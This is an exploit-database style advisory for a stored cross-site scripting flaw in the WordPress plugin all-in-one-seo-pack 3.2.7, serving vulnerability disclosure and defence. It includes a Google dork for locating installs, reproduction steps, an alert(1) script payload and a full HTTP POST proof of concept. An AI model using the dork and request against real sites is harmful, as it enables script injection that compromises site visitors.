all-in-one-seo-pack 3.2.7 Cross Site Scripting

`# Exploit Title: all-in-one-seo-pack 3.2.7 - Persistent Cross-Site Scripting  
# Google Dork: inurl:"\wp-content\plugins\all-in-one-seo-pack"  
# Date: 2019-06-13  
# Exploit Author: Unk9vvN  
# Vendor Homepage: https://semperplugins.com/all-in-one-seo-pack-pro-version  
# Software Link: https://wordpress.org/plugins/all-in-one-seo-pack/  
# Version: 3.2.7  
# Tested on: Windows 10  
# CVE: N/A  
  
# Description  
# This vulnerability is in the validation mode and is located in the all-in-one-seo-pack tab inside the and the vulnerability type is stored . the vulnerability parameters are as follows.  
  
1.Go to the 'all-in-one-seo-pack' tab  
2.Select 'general settings' section   
3.Enter the payload in "Additional Front Page Headers","Additional Posts Page Headers" section  
4.Click the "Update Options" option  
4.Your payload will run on visit page  
  
  
# URI: http://localhost/wordpress/wp-admin/admin.php?page=all-in-one-seo-pack  
# Payload: "><script>alert(1)</script>  
  
#  
# PoC  
#  
POST /wordpress/wp-admin/admin.php?page=all-in-one-seo-pack%2Faioseop_class.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://localhost/wordpress/wp-admin/admin.php?page=all-in-one-seo-pack%2Faioseop_class.php  
Content-Type: multipart/form-data; boundary=---------------------------24442753012045  
Content-Length: 8625  
Connection: close  
Upgrade-Insecure-Requests: 1  
  
-----------------------------24442753012045  
Content-Disposition: form-data; name="aiosp_front_meta_tags"  
  
"><script>alert(1)</script>  
-----------------------------24442753012045  
Content-Disposition: form-data; name="aiosp_home_meta_tags"  
  
"><script>alert(1)</script>  
-----------------------------24442753012045  
  
Content-Disposition: form-data; name="Submit"  
  
Update Options »  
-----------------------------24442753012045--  
  
  
# Discovered by:  
https://unk9vvn.com  
`